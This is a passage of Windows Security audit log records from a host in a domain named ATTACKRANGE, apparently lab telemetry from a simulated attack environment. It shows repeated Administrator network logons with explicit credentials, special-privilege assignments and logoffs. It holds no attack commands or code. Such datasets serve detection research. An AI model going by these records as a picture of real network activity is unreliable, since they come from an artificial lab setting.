			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245842
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2DBD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245841
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245840
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245839
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2D9BE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245838
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2D9BE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245837
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2D9BE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245836
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245835
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245834
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2CA1C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245833
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2CA1C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245832
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2CA1C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245831
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245830
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245829
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2C293

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245828
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2C293
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245827
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245826
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245825
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BEAD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245824
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BEAD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245823
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245822
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245866
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x34066

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245865
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x34066
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245864
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245863
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245881
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39819

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245880
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EA0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245879
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EE40

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245878
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39819

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245877
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39819
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245876
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245875
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

